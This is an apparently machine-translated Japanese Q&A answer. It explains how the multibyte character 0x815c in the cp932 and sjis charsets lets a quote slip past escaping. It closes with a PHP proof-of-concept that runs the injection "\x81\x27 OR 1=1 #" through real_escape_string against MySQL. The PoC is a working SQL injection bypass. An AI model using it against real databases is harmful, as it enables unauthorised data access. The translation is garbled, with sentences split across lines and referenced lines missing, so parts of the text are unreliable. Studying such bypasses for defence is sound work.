悪魔は詳細に宿っています...
これにより、コンテキストが得られます-0xbf5c
gbk
の例として使用されます 、5つの文字セットすべてに使用するユニバーサル文字としてではありません。
同じバイトシーケンスがbig5
でも有効な文字である場合があります。 およびgb2312
。
この時点で、あなたの質問はこれと同じくらい簡単になります:
公平を期すために、私がこれらの文字セットに対して試したほとんどのグーグル検索は、有用な結果を与えません。しかし、このCP932.TXTファイル
を見つけました。 、'5c '
を検索すると (そこにスペースがあります)、次の行にジャンプします:
そして勝者がいます! :)
一部のOracleドキュメント
0x815c
であることを確認します 両方のcp932
で同じ文字です およびsjis
PHPもそれを認識します:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
攻撃のPoCスクリプトは次のとおりです。
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}